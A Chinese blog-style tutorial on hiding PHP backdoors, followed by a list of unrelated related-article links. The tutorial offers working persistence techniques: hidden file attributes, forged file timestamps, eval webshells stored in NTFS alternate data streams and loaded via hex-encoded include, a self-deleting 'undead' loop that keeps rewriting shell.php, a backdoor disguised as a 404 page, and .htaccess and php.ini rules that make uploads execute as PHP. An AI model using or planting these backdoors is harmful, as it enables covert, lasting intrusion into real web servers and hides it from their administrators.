PHP后门隐藏的一些技巧总结


Posted in PHP onNovember 04, 2020

前言

如果想让自己的Webshell留的更久一些,除了Webshell要免杀,还需要注意一些隐藏技巧,比如隐藏文件,修改时间属性,隐藏文件内容等。

1、隐藏文件

使用Attrib +s +a +h +r命令就是把原本的文件夹增加了系统文件属性、存档文件属性、只读文件属性和隐藏文件属性。

attrib +s +a +h +r shell.php //隐藏shell.php文件

2、修改文件时间属性

当你试图在一堆文件中隐藏自己新创建的文件,那么,除了创建一个迷惑性的文件名,还需要修改文件的修改日期。

//修改时间修改
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
//访问时间修改
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
//创建时间修改
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"

使用命令获取文件属性

Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force

修改某个文件夹下所有文件的创建和修改时间

powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"

3、利用ADS隐藏文件内容

在服务器上echo一个数据流文件进去,比如index.php是网页正常文件,我们可以这样子搞:

echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg

这样子就生成了一个不可见的shell hidden.jpg,常规的文件管理器、type命令,dir命令、del命令发现都找不出那个hidden.jpg的。

利用include函数,将index.php:hidden.jpg进行hex编码,把这个ADS文件include进去,这样子就可以正常解析我们的一句话了。

<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>

4、不死马

不死马会删除自身,以进程的形式循环创建隐蔽的后门。

<?php
set_time_limit(0); 
ignore_user_abort(1); 
unlink(__FILE__); //删除自身
while(1)
{ 
 file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php,这里最好用免杀的一句话
 sleep(10); //间隔时间
}
?>

处理方式最简单有效的办法,就是重启服务就可以删除webshell文件。

5、中间件后门

将编译好的so文件复制到modules文件夹,启动后门模块,重启Apache。当发送特定参数的字符串过去时,即可触发后门。

github项目地址:

https://github.com/VladRico/apache2_BackdoorMod

6、利用404页面隐藏后门

404页面主要用来提升用户体验,可用来隐藏后门文件。

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>

7、利用 .htaccess 文件构成PHP后门

一般.htaccess可以用来留后门和针对黑名单绕过,在上传目录创建.htaccess 文件写入,无需重启即可生效,上传png文件解析。

AddType application/x-httpd-php .png

另外,在.htaccess 加入php解析规则,把文件名包含1的解析成php,上传1.txt即可解析。

<FilesMatch "1"> 
SetHandler application/x-httpd-php 
</FilesMatch>

8、利用 php.ini 隐藏后门文件

php.ini 中可以指定在主文件执行前后自动解析的文件名称,常用于页面公共头部和尾部,也可以用来隐藏php后门。

;在PHP文档之前自动添加文件。
auto_prepend_file = "c:\tmp.txt"
;在PHP文档之后自动添加文件。
auto_prepend_file = "c:\tmp.txt"

需重启服务生效,访问任意一个php文件即可获取webshell。

总结

到此这篇关于PHP后门隐藏的一些技巧的文章就介绍到这了,更多相关PHP后门隐藏技巧内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

PHP 相关文章推荐
php+oracle 分页类
Oct 09 PHP
php利用cookie实现访问次数统计代码
May 19 PHP
用穿越火线快速入门php面向对象
Feb 22 PHP
将博客园(cnblogs.com)数据导入到wordpress的代码
Jan 06 PHP
安装apache2.2.22配置php5.4(具体操作步骤)
Jun 26 PHP
CI框架中集成CKEditor编辑器的教程
Jun 09 PHP
Yii框架表单模型和验证用法
May 20 PHP
超强多功能php绿色集成环境详解
Jan 25 PHP
php删除txt文件指定行及按行读取txt文档数据的方法
Jan 30 PHP
php上传excel表格并获取数据
Apr 27 PHP
PHP实现字符串翻转功能的方法【递归与循环算法】
Nov 03 PHP
PHP判断是否是json字符串
Apr 01 PHP
phpstudy2020搭建站点的实现示例
Oct 30 #PHP
解决PHPstudy Apache无法启动的问题【亲测有效】
Oct 30 #PHP
PhpStorm 2020.3:新增开箱即用的PHP 8属性(推荐)
Oct 30 #PHP
2020最新版 PhpStudy V8.1版本下载安装使用详解
Oct 30 #PHP
PHP fopen中文文件名乱码问题解决方案
Oct 28 #PHP
PHP dirname功能及原理实例解析
Oct 28 #PHP
基于ThinkPHP删除目录及目录文件函数
Oct 28 #PHP
You might like
php max_execution_time执行时间问题
2011/07/17 PHP
处理单名多值表单的详解
2013/06/08 PHP
改写ThinkPHP的U方法使其路由下分页正常
2014/07/02 PHP
PHP使用fopen与file_get_contents读取文件实例分享
2016/03/04 PHP
php PDO异常处理详解
2016/11/20 PHP
实现php删除链表中重复的结点
2018/09/27 PHP
PHP面向对象程序设计内置标准类,普通数据类型转为对象类型示例
2019/06/12 PHP
JQuery里选择超链接的实现代码
2011/05/22 Javascript
分享一道笔试题[有n个直线最多可以把一个平面分成多少个部分]
2012/10/12 Javascript
javascript-简单的计算器实现步骤分解(附图)
2013/05/30 Javascript
jquery ajax方式直接提交整个表单核心代码
2013/08/15 Javascript
jquery实现pager控件示例
2014/04/09 Javascript
java、javascript实现附件下载示例
2014/08/14 Javascript
jQuery实现表格文本框淡入更改值后淡出效果
2016/09/27 Javascript
Javascript中字符串相关常用的使用方法总结
2017/03/13 Javascript
使用vue-router与v-if实现tab切换遇到的问题及解决方法
2018/09/07 Javascript
[57:36]DOTA2-DPC中国联赛 正赛 SAG vs CDEC BO3 第三场 2月1日
2021/03/11 DOTA
在python中的socket模块使用代理实例
2014/05/29 Python
Python中tell()方法的使用详解
2015/05/24 Python
基于Python如何使用AIML搭建聊天机器人
2016/01/27 Python
Python实现可获取网易页面所有文本信息的网易网络爬虫功能示例
2018/01/15 Python
python 实现selenium断言和验证的方法
2019/02/13 Python
Python3.4学习笔记之常用操作符,条件分支和循环用法示例
2019/03/01 Python
Python定义函数功能与用法实例详解
2019/04/08 Python
python调用支付宝支付接口流程
2019/08/15 Python
Numpy一维线性插值函数的用法
2020/04/22 Python
英国航空官网:British Airways
2016/09/11 全球购物
Space NK美国站:英国高端美妆护肤商城
2017/05/22 全球购物
Charles & Colvard官网:美国莫桑石品牌
2019/06/05 全球购物
sort命令的作用和用法
2012/11/04 面试题
《学棋》教后反思
2014/04/14 职场文书
敬老院活动总结
2014/04/28 职场文书
球队口号
2014/06/18 职场文书
2015年社区卫生工作总结
2015/04/21 职场文书
检讨书格式范文
2015/05/07 职场文书
2016年教师寒假学习心得体会
2015/10/09 职场文书